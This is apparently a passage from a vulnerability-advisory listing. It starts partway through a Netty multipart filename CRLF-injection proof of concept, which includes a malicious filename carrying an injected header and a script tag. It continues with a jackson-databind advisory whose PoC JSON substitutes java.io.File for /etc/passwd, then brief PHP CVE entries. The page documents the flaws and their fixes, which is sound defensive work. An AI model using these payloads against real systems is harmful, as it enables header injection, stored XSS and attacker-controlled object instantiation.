Read the encoded multipart body StringBuilder body = new StringBuilder(); while (!encoder.isEndOfInput()) { HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc()); if (chunk != null) { body.append(chunk.content().toString(StandardCharsets.UTF_8)); chunk.release(); } } encoder.cleanFiles(); String encoded = body.toString(); System.out.println("Malicious filename: " + maliciousFilename.replace("\r", "\\r").replace("\n", "\\n")); System.out.println(); System.out.println("Encoded multipart body:"); System.out.println("---"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } System.out.println("---"); boolean hasInjectedHeader = encoded.contains("X-Injected: true"); boolean hasInjectedScript = encoded.contains("<script>"); System.out.println(); System.out.println("Injected X-Injected header: " + hasInjectedHeader); System.out.println("Injected script tag: " + hasInjectedScript); System.out.println("VULNERABLE: " + ((hasInjectedHeader || hasInjectedScript) ? "YES - MIME header injection!" : "NO")); tempFile.delete(); } } ``` ### How to Compile and Run ```bash # Build Netty (skip tests) ./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \ -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \ -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \ -Dspotbugs.skip=true -q # Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Compile and run javac -cp "$JARS" MultipartFilenameInjectionPoC.java java -cp "$JARS:." MultipartFilenameInjectionPoC ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) ``` === Netty Multipart Filename CRLF Injection PoC === [TEST 1] Filename CRLF Injection in Content-Disposition ------------------------------------------------------- Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n-- Encoded multipart body: --- --88aaade41dbb9f9f\r content-disposition: form-data; name="file"; filename="innocent.txt"\r Content-Type: text/html\r <-- INJECTED X-Injected: true\r <-- INJECTED \r <script>alert(1)</script>\r <-- INJECTED XSS --"\r content-length: 12\r content-type: application/octet-stream\r content-transfer-encoding: binary\r \r test content\r --88aaade41dbb9f9f--\r --- Injected X-Injected header: true Injected script tag: true VULNERABLE: YES - MIME header injection! === PoC Complete === ``` ## 7. Impact Analysis | Impact Category | Description | |----------------|-------------| | **Confidentiality** | HIGH — Injected headers may bypass access controls or leak tokens | | **Integrity** | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation | | **Content-Type Spoofing** | Override `application/octet-stream` to `text/html` to serve executable content | | **Stored XSS** | Inject `<script>` tags via Content-Type override when uploaded files are served back | | **Form Field Override** | Inject new multipart boundaries to create/override form fields | | **Downstream Injection** | Custom MIME headers may affect middleware, CDN, or storage layer behavior | ## 8. Remediation Recommendations ### Option 1: Validate in FileUpload.setFilename() (Recommended) ```java // DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java public void setFilename(String filename) { ObjectUtil.checkNotNull(filename, "filename"); for (int i = 0; i < filename.length(); i++) { char c = filename.charAt(i); if (c == '\r' || c == '\n') { throw new IllegalArgumentException( "filename contains prohibited CRLF character at index " + i); } } this.filename = filename; } ``` ### Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth) Escape or reject CRLF characters when building Content-Disposition headers: ```java // HttpPostRequestEncoder.java - add helper method private static String sanitizeHeaderParam(String value) { for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); if (c == '\r' || c == '\n' || c == '"') { throw new ErrorDataEncoderException( "Multipart parameter contains prohibited character at index " + i); } } return value; } // Then use in Content-Disposition construction: internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n"); ``` ### Option 3: RFC 2231/5987 Encoding for Filenames Use proper RFC 2231 encoding for filenames with special characters: ```java // Encode filename per RFC 5987: // filename*=UTF-8''encoded%20filename String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8"); internal.addValue(... + "filename*=" + encodedFilename + "\r\n"); ``` ## 9. References - [RFC 2183: Content-Disposition Header Field](https://tools.ietf.org/html/rfc2183) - [RFC 7578: Returning Values from Forms: multipart/form-data](https://tools.ietf.org/html/rfc7578) - [RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters](https://tools.ietf.org/html/rfc5987) - [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html) - [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html) - [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86) - [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4) | |
| 5.6CVSS 3.1 | CVE-2026-83557
GHSA-gx83-3vf8-gh7j |
Resolved | 2026-09-01 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | DefaultBaseTypeLimitingValidator is the PolymorphicTypeValidator applied automatically whenever @JsonTypeInfo is used without an explicitly configured custom validator. It denies polymorphic resolution only for a fixed set of "unsafe base types", and its isSafeSubType method returns true unconditionally for every base type outside that set. java.lang.Comparable was absent from the list despite being implemented by a very large fraction of JDK and application classes, comparable in breadth to java.io.Serializable, which is on the list for that reason. An application declaring an @JsonTypeInfo-annotated property or class with Comparable as its base type, and no custom PolymorphicTypeValidator, will accept a type identifier for essentially any class implementing Comparable. This yields an attacker-controlled object instantiation primitive; a demonstrated case constructs a java.io.File for an arbitrary attacker-chosen path, which becomes path-traversal-adjacent if the application subsequently calls path-sensitive methods on the value. No class implementing Comparable has been identified that yields code execution through deserialization alone. Global Default Typing via activateDefaultTyping is not affected, because that method structurally requires an explicit PolymorphicTypeValidator argument. This affects com.fasterxml.jackson.core:jackson-databind from 2.11.0 before 2.18.10, from 2.19.0 before 2.21.6, and from 2.22.0 before 2.22.2, and tools.jackson.core:jackson-databind from 3.0.0 before 3.1.6 and from 3.2.0 before 3.2.2. Users should upgrade to 2.18.10, 2.21.6, 2.22.2, 3.1.6, or 3.2.2. | |
| 5.6CVSS 3.1 | GHSA-gx83-3vf8-gh7j
CVE-2026-83557 |
Resolved | 2026-09-28 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary `DefaultBaseTypeLimitingValidator` — the `PolymorphicTypeValidator` used automatically whenever `@JsonTypeInfo` is applied without an explicitly configured custom validator — denies polymorphic resolution only for nine specific "unsafe base types" (`Object`, `Serializable`, `Closeable`, `AutoCloseable`, `Cloneable`, `Runnable`, `java.util.logging.Handler`, `javax.naming.Referenceable`, `javax.sql.DataSource`). Its `isSafeSubType()` returns `true` unconditionally for every other base type. `java.lang.Comparable` is not in that list, despite being implemented by a very large fraction of JDK and application classes — comparable in breadth to `Serializable`, which is denylisted for exactly that reason. An application with an `@JsonTypeInfo`-annotated `Comparable`-typed property, and no custom validator configured, will accept a type identifier for essentially any class implementing `Comparable`. ### Details **Affected file:** `src/main/java/tools/jackson/databind/jsontype/DefaultBaseTypeLimitingValidator.java` ```java private final static class UnsafeBaseTypes { private final Set<String> UNSAFE = new HashSet<>(); { UNSAFE.add(Object.class.getName()); UNSAFE.add(java.io.Closeable.class.getName()); UNSAFE.add(java.io.Serializable.class.getName()); UNSAFE.add(AutoCloseable.class.getName()); UNSAFE.add(Cloneable.class.getName()); UNSAFE.add(Runnable.class.getName()); // [databind#5014] UNSAFE.add("java.util.logging.Handler"); UNSAFE.add("javax.naming.Referenceable"); UNSAFE.add("javax.sql.DataSource"); // java.lang.Comparable is NOT present here } } protected boolean isSafeSubType(DatabindContext ctxt, JavaType baseType, JavaType subType) { return true; // unconditional for every base type not in UNSAFE } ``` The class's own JavaDoc acknowledges the design (*"Note that when using potentially unsafe base type like `java.lang.Object` a custom implementation... is needed"*), so the trade-off of leaving broad base types unrestricted is intentional. The gap is that `Comparable` has the same breadth of implementers as the types this class *does* restrict, and its absence looks like an oversight rather than a deliberate choice — consistent with the ongoing, incremental nature of this list (`Runnable` was added recently for issue #5014). This is specific to the **default, unconfigured validator** reached via bare `@JsonTypeInfo` usage. Global "Default Typing" via `activateDefaultTyping()` is **not** affected, because that method structurally requires an explicit `PolymorphicTypeValidator` argument — a correctly-configured `BasicPolymorphicTypeValidator` rejects the same payload under `activateDefaultTyping()`. ### PoC Built entirely from source (jackson-databind + jackson-core + jackson-annotations, `javac`, OpenJDK 21, no third-party gadget libraries, no network access): **1. Sanity check (benign class, confirms the mechanism fires):** ```java static class SafeThing implements Comparable<SafeThing> { public String name; public SafeThing() {} public int compareTo(SafeThing o) { return 0; } } static class Holder { @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) public Comparable<?> value; } ObjectMapper mapper = JsonMapper.builder().build(); // no custom PTV String json = "{\"value\":{\"@class\":\"...SafeThing\",\"name\":\"hello\"}}"; Holder h = mapper.readValue(json, Holder.class); // RESULT: ACCEPTED, class=...SafeThing ``` **2. Real JDK class substitution:** ```java String json = "{\"value\":[\"java.io.File\",\"/etc/passwd\"]}"; Holder h = mapper.readValue(json, Holder.class); // RESULT: ACCEPTED, class=java.io.File value=/etc/passwd ``` **3. Negative control — Default Typing with an explicit custom PTV:** ```java PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder() .allowIfSubType("PtvGapTest4").build(); ObjectMapper mapper = JsonMapper.builder() .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build(); // same java.io.File payload // RESULT: REJECTED - InvalidTypeIdException: "...denied resolution" ``` **Observed output:** $ java -cp .:build/classes PtvGapTest3 Trying: {"value":["java.io.File","/etc/passwd"]} ACCEPTED, class=java.io.File value=/etc/passwd $ java -cp .:build/classes PtvGapTest4 Trying malicious substitution: ["PtvGapTest4$Holder",{"value":["java.io.File","/etc/passwd"]}] REJECTED - InvalidTypeIdException: Could not resolve type id 'java.io.File' as a subtype of java.lang.Comparable: Configured PolymorphicTypeValidator denied resolution ### Impact Any application declaring an `@JsonTypeInfo`-annotated property or class with `Comparable` as its base type, without a separately configured restrictive `PolymorphicTypeValidator`, will accept a type identifier for essentially any class implementing `Comparable`. Concrete impact is demonstrated via `java.io.File`: an attacker can cause construction of a `File` object for an arbitrary, attacker-chosen path. On its own this is a controlled-object-instantiation primitive; if the application later calls path-sensitive or mutating methods on the received value, this becomes a path-traversal-adjacent primitive. **Suggested remediation:** 1. Add `java.lang.Comparable` to `UnsafeBaseTypes.UNSAFE`. 2. Audit other broad JDK interfaces (`java.lang.Iterable`, `java.util.EventListener`) for the same gap. 3. Consider a narrower default for `isSafeSubType()` for base types outside the fixed denylist, rather than unconditional `true`. | |
| 5.5CVSS 3.1 | CVE-2022-31628 | Resolved | 2022-09-28 | 5.5 ×205.4 ×14 | In PHP versions before 7.4.31, 8.0.24 and 8.1.11, the phar uncompressor code would recursively uncompress "quines" gzip files, resulting in an infinite loop. | |
| 5.5CVSS 3.1 | CVE-2022-4900 | Resolved | 2023-11-02 | 5.5 ×205.4 ×14 | A vulnerability was found in PHP where setting the environment variable PHP_CLI_SERVER_WORKERS to a large value leads to a heap buffer overflow. |